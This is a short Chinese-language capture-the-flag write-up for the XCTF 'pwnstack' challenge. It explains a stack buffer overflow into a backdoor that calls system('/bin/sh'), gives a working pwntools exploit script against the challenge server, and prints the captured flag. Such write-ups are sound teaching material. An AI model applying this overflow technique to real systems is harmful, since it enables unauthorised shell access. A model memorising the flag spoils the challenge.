xctf_pwnstack
checksec pwn2
没有保护
打开ida
查看这儿块儿,这里有个buf栈区,可以溢出
再查看backdoor函数明显的字符串‘/bin/sh’询问一下chatgpt是什么意思
/bin/sh
是指系统默认的命令行解释器(shell)。在许多Linux发行版中,/bin/sh
实际上是指向某个特定的shell可执行文件的符号链接,通常是Bash(Bourne Again SHell)。
/bin/sh
是一个常用的 shell,而在很多情况下,攻击者可能试图利用系统中的漏洞,以获取一个具有权限的 shell。这通常被称为 "shell 提权" 或 "提权"。一旦攻击者成功获取了一个 shell,他们就可以通过这个 shell 执行系统命令,探索目标系统,以及执行其他操作,这对于渗透测试和漏洞利用来说是至关重要的。
大概意思就是通过执行 return system("/bin/sh");这个函数获取到shell,也就是权限,就可以得到flag了。但是要怎么能调用这个函数呢。
回到前面栈区,查看一下buf的栈区
栈的大小是0xa0,所以思路就出来了,栈底的下面就是read函数返回值,read再向buf栈区读取东西,如果刚好填满后,再将返回地址覆盖到我们想要的地址就可以自己得到shell权限了,payload=b'a'*0xa8+p64(0x0000400762 ),这个地址就是前面调用shell的函数
exp
from pwn import *
p=remote('61.147.171.105',53894)
payload=b'a'*0xa8+p64(0x400762)
p.send(payload)
p.interactive()
得到第一个pwnflag cyberpeace{21cc5ec4e9710c81860f0f50c25b1b48}